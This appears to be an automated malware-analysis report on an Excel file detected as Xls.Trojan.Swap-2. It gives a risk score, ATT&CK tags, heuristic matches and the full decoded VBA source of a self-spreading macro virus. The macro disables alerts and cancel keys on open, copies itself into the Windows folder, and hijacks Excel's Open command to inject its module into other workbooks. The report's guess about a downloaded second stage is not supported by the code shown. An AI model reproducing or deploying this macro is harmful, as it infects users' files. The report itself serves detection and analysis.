MALICIOUS
96
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The file is an Excel document containing a VBA macro with an Auto_Open subroutine, a common technique for executing malicious code upon opening. The macro attempts to save a copy of itself to 'C:\WINDOWS\ShellNew\Swap.xls' and likely proceeds to download and execute a second-stage payload. The presence of the Auto_Open macro and the suspicious file path strongly indicate a malicious intent, likely delivered via spearphishing.
Heuristics 4
-
ClamAV: Xls.Trojan.Swap-2 critical CLAMAV_DETECTIONClamAV detected this file as malware: Xls.Trojan.Swap-2
-
VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Auto_Open macro low OLE_VBA_AUTOAuto_Open macroMatched line in script
Private Sub Auto_Open() -
Environ() call (env variable access) low OLE_VBA_ENVIRONEnviron() call (env variable access)Matched line in script
ι = Environ("WINDIR") & "\ShellNew\Swap.xls"
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 2479 bytes |
SHA-256: 13c30f670a1c06139e3ba16956c0167f99001cd6d8295aba74cb693b5adc3a63 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Swap"
'Copyright (C) 1998 by FlyShadow ~^^~ - Swap
Private Sub Auto_Open()
On Error Resume Next
Application.EnableEvents = 0
Application.DisplayAlerts = 0
Application.ScreenUpdating = 0
Application.EnableCancelKey = 0
Application.OnKey "{ESCAPE}", ""
Application.OnKey "^{BREAK}", ""
Application.OnSheetDeactivate = ""
Application.OnSheetActivate = ""
Application.OnSheetActivate = ""
Application.OnAction = ""
Application.OnWindow = ""
Application.OnEntry = ""
Application.OnSave = ""
ι = Environ("WINDIR") & "\ShellNew\Swap.xls"
ThisWorkbook.SaveCopyAs ι
CommandBars("File").Reset
CommandBars("Standard").Reset
CommandBars("File").Controls(2).OnAction = ι & "!ν"
CommandBars("Standard").Controls(2).OnAction = ι & "!ν"
CommandBars("Standard").Protection = 1
CommandBars("File").Protection = 1
End Sub
Private Sub ν()
On Error Resume Next: Windows("Swap.xls").Visible = 0
ThisWorkbook.VBProject.VBComponents("Swap").Export "C:\Swap.Sys"
α = Application.GetOpenFilename
Workbooks.Open α
υ = ActiveWorkbook.Saved
If Not Len(ActiveWorkbook.VBProject.VBComponents("Swap").Name) Then
ActiveWorkbook.VBProject.VBComponents.Import "C:\Swap.Sys"
End If
ActiveWorkbook.Saved = υ
ThisWorkbook.Saved = 1
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.